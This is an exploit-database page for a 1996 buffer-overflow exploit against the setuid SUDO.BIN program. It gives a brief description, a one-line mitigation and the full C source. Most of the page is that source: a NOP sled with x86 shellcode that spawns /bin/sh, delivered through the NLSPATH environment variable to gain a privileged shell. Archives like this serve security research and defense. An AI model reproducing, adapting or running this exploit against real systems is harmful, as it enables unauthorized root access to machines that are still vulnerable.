SUDO.BIN Exploit

vendor:

by:

_PHANTOM_

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

1996

This exploit takes advantage of a buffer overflow vulnerability in the SUDO.BIN program. It overflows the buffer with a shellcode that executes a shell command. It then sets the NLSPATH environment variable to the overflowed buffer and executes the SUDO.BIN program with the 'bash' command.

Mitigation:

The vulnerability can be mitigated by applying a patch or updating the SUDO.BIN program to a version that is not vulnerable to buffer overflow attacks.

Source

Exploit-DB raw data:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_SUDO "/usr/bin/sudo.bin"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);

   /* stick asm code into the buffer */

   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   printf("SUDO.BIN exploit coded by _PHANTOM_ 1997\n");
   setenv("NLSPATH",buff,1);
   execl(PATH_SUDO, "sudo.bin","bash", NULL);
}



// milw0rm.com [1996-02-13]